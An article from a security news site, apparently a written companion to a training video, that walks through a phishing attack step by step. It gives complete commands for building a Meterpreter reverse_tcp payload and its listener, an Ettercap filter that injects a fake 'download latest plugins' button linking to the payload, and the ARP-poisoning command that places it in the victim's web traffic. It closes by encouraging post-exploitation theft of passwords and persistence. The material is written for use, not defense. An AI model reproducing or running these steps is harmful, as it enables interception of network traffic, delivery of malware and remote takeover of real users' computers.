Close Menu
  • Home
  • Articles
    • Attacks
      • BEC
      • Data Breach
      • DDoS
      • Evasion Attacks
      • Injection
      • Malware
      • MITM
      • Phishing
      • Ransomware
      • RCE
      • Social Engineering
      • Spoofing
      • Spyware
    • Business and Policy
      • BCP and DRP
      • GRC
      • Regulations
    • Data Protection
      • DLP
      • DRM
      • Encryption
      • IAM
    • Future, Trends and Insight
      • AI
      • Events & Community
      • Emerging Tech
      • Expert Panel
      • Interviews With Experts
      • Insights
      • Study & Research
    • Resources
      • Guides
      • Tools
      • Training & Education
    • Security
      • API
      • Apps
      • Cloud
      • Critical Infrastructure
      • Endpoint
      • Hardware
      • IoT
      • Mobile
      • Network
      • OT
      • Port Security
      • Security Architecture
      • Software Development
      • Supply Chain
      • Zero Trust
    • Threats and Vulnerabilities
      • Emerging Threats
      • Insider Threats
      • Risk Management
      • Threat Intelligence
      • Zero Day
  • News and Exclusives
    • Latest News
    • ISB Exclusive
    • Positive News
  • Who We Are
    • About Us
    • Information Security Buzz Expert Panel​
    • Write for Us
    • Media Pack
  • Contact Us
  • Newsletter
Facebook X (Twitter) LinkedIn
Facebook X (Twitter) LinkedIn
Information Security BuzzInformation Security Buzz
  • Home
  • Articles
    • Attacks
      • BEC
      • Data Breach
      • DDoS
      • Evasion Attacks
      • Injection
      • Malware
      • MITM
      • Phishing
      • Ransomware
      • RCE
      • Social Engineering
      • Spoofing
      • Spyware
    • Business and Policy
      • BCP and DRP
      • GRC
      • Regulations
    • Data Protection
      • DLP
      • DRM
      • Encryption
      • IAM
    • Future, Trends and Insight
      • AI
      • Events & Community
      • Emerging Tech
      • Expert Panel
      • Interviews With Experts
      • Insights
      • Study & Research
    • Resources
      • Guides
      • Tools
      • Training & Education
    • Security
      • API
      • Apps
      • Cloud
      • Critical Infrastructure
      • Endpoint
      • Hardware
      • IoT
      • Mobile
      • Network
      • OT
      • Port Security
      • Security Architecture
      • Software Development
      • Supply Chain
      • Zero Trust
    • Threats and Vulnerabilities
      • Emerging Threats
      • Insider Threats
      • Risk Management
      • Threat Intelligence
      • Zero Day
  • News and Exclusives
    • Latest News
    • ISB Exclusive
    • Positive News
  • Who We Are
    • About Us
    • Information Security Buzz Expert Panel​
    • Write for Us
    • Media Pack
  • Contact Us
  • Newsletter
Subscribe
Information Security BuzzInformation Security Buzz
Home - News & Analysis - Phishing with Meterpreter and Ettercap
News & Analysis

Phishing with Meterpreter and Ettercap

ISBuzz TeamBy ISBuzz TeamDecember 2, 2013Updated:August 28, 20145 Mins Read
Share LinkedIn Twitter Facebook Copy Link Email
Share
Facebook Twitter LinkedIn Email Copy Link
Quick AI Summary
ChatGPTClaudeGeminiGrokPerplexityDeepSeekCopilot

To phish or not to phish? That is the question. If you’re looking to attack someone who’s not very computer savvy, then phishing is the easiest way to go about it. Instead of using a zero-day that could take you hours to write or trying to find a computer with an exploitable service, why not make them connect to you? Using a Meterpreter payload and Ettercap, you can easily fool someone into exploiting their own system for your benefit. What are you waiting on? Let’s go phishing!

In this video, I teach you how to phish. Using a Kali Linux Virtual Machine, a Windows XP SP3 Virtual Machine, the Metasploit framework, an Apache2 webserver, and Ettercap, I conduct a simple but effective phishing attack. Using a Meterpreter reverse_tcp payload from the Metasploit Framework, I create an executable file for windows (.exe) and save it so I can use it in my webserver. I used a reverse_tcp shell because I want the target computer to connect back to my computer.

 

The steps for the first part of this video (The setup of the executable and server) are as follows:

Open a terminal in Kali and type this command:

~# /etc/init.d/apache2 start

This starts up your webserver to serve up whatever is put into the /var/www/ directory.

I then used the msfconsole command to find my payload

~# msfconsole

msf> show payloads

From there, I set my sights on windows/meterpreter/reverse_tcp and built my executable exploit.

~# msfpayload windows/meterpreter/reverse_tcp LHOST=”Kali IP” LPORT=”Port of your choosing” x > payload.exe

Once that is done, the file is then moved to /var/www/. This means it is now being served up on the webserver. I then set up a multi handler which is a generic payload handler. So I went back to my msfconsole terminal and used these commands.

msf> use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

show options

set LHOST “kali ip”

set LPORT “port of your choosing” (Must be the same port from when you made your executable)

and then

exploit

When this is working, it is now listening for the exploit to call back to your computer. Make sure you don’t touch it until then! We’ll then need to create and compile an ettercap filter. In this video, I used an image of Shaquille O’Neal dancing with Conan O’brien for the sake of the demo, but you can use a quicktime logo, a activex logo or whatever have you to make this attack more believable. In a text file, type this code

if (ip.proto == TCP && tcp.dst == 80) {

if (search(DATA.data, “Accept-Encoding”)) {

replace(“Accept-Encoding”, “Accept-Nothing!”);

}

}

 

if (ip.proto == TCP && tcp.src == 80) {

if (search(DATA.data, “<title>”)) {

replace(“</title>”, “</title><form

action=”http://kaliIP/payload.exe” method=”link”><img src=”http://kaliIP/image.gif“><INPUT TYPE=submit value=”DOWNLOAD LATEST PLUGINS!“></form><html><body><h10>You are unable to view some of the web page’s contents. You need to download the latest plugins to fix this issue.</h10></body></html>”);

msg(“html injected”);

}}

This code is saying that if there is a TCP protocol, and the destination is port 80 (HTTP), you need to replace the Accept-Encoding flag to Accept-Nothing! flag, and also, to replace the ending of the <title> form (</title>) to </title><form …  so it can inject the code placed here on the web-page.

Make sure the things in bold are changed to the IPs of your attacking box, images in your webserver directory and whatever you want your button to say. Once done, save it as iframe.filter in your root directory. We’ll then use the program Etterfilter to compile the filter we just made.

Open a terminal and type this command:

~# etterfilter iframe.filter -o iframe.ef

This will compile the filter and make it usuable with Ettercap. After the filter is completely compiled you will then use Ettercap to commence ARP poisoning with said filter.

~# ettercap -T -q -F iframe.ef -M ARP /targetip/ //

This will ARP poison the target computer so whenever it sends a request to a website, it gets what we tossed in the filter through HTML injection. So now, whenever the target computer goes to a HTTP webpage, your image with pop up in the top of the webpage saying that their plugins are out of date and they need to install your executable. If they are gullible enough, they will download your executable payload, and run the executable, it will then connect back to your machine and you will have a shell in your Metasploit Framework terminal. To make it even more believable, right when the target connects to your listen, you can shutdown the Ettercap ARP poison to make it seem like the updates were installed.

If this works, you have successfully tricked the user into downloading and executing a malicious payload giving you a Meterpreter session. From here, you’ll probably want to work on some Post-Exploitation techniques such as pilfering information, usernames/passwords, and persistence. Happy phishing!

About the Author
Christian R. Crank is a cyber security researcher and instructor for Advanced Security by TrainACE. Christian has over five years as a penetration tester and holds a number of industry related certifications.

 

ISBuzz Team
  • ISBuzz Team
    Air Canada Data Breach: BianLian Extortion Group Claims A Massive Heist Contrary To Airline’s Earlier Statement
  • ISBuzz Team
    Unprecedented DDoS Attack Rocks The Web: Tech Giants Reveal A Digital Tsunami
  • ISBuzz Team
    CISA Flags High-Severity Adobe Acrobat Reader Flaw Amid Active Exploits
  • ISBuzz Team
    Curl Security Alert: Patching A Critical Bug Averting Potential Cyber Catastrophe

The opinions expressed in this post belong to the individual contributors and do not necessarily reflect the views of Information Security Buzz.

Share. Facebook Twitter LinkedIn Email Copy Link

Related Posts

New Phishing Kit Starkiller Defeats Multi-Factor Authentication

February 23, 20264 Mins Read

ReliaQuest Uncovers Social Media Phishing Campaign Built on Trusted Tools

January 22, 20266 Mins Read

What Happens after a Phishing Email Lands in Your Inbox?

January 5, 20266 Mins Read
ISB-Bora-Side-Bar

No se ha podido establecer conexión. Error 429

 
ISB-Bora-Side-Bar
Black ISB Logo

Information Security Buzz is an independent resource that provides the experts’ comments, analysis, and opinion on the latest Cybersecurity news and topics

X (Twitter) LinkedIn Facebook RSS

Working With Us

  • About Us
  • Advertise With Us
  • Contact Us

Write For Us

  • How To Contribute

The Pages

  • Privacy Policy
  • Cookie Policy
  • AI Policy
  • Terms & Conditions
  • Copyright Notice

Information Security Buzz and all its contents are copyright © 2014-2025. All rights reserved. All third-party trademarks are recognized.

Type above and press Enter to search. Press Esc to cancel.

Manage Consent
To provide the best experiences, we use technologies like cookies to store and/or access device information. Consenting to these technologies will allow us to process data such as browsing behavior or unique IDs on this site. Not consenting or withdrawing consent, may adversely affect certain features and functions.
Functional Always active
The technical storage or access is strictly necessary for the legitimate purpose of enabling the use of a specific service explicitly requested by the subscriber or user, or for the sole purpose of carrying out the transmission of a communication over an electronic communications network.
Preferences
The technical storage or access is necessary for the legitimate purpose of storing preferences that are not requested by the subscriber or user.
Statistics
The technical storage or access that is used exclusively for statistical purposes. The technical storage or access that is used exclusively for anonymous statistical purposes. Without a subpoena, voluntary compliance on the part of your Internet Service Provider, or additional records from a third party, information stored or retrieved for this purpose alone cannot usually be used to identify you.
Marketing
The technical storage or access is required to create user profiles to send advertising, or to track the user on a website or across several websites for similar marketing purposes.
  • Manage options
  • Manage services
  • Manage {vendor_count} vendors
  • Read more about these purposes
View preferences
  • {title}
  • {title}
  • {title}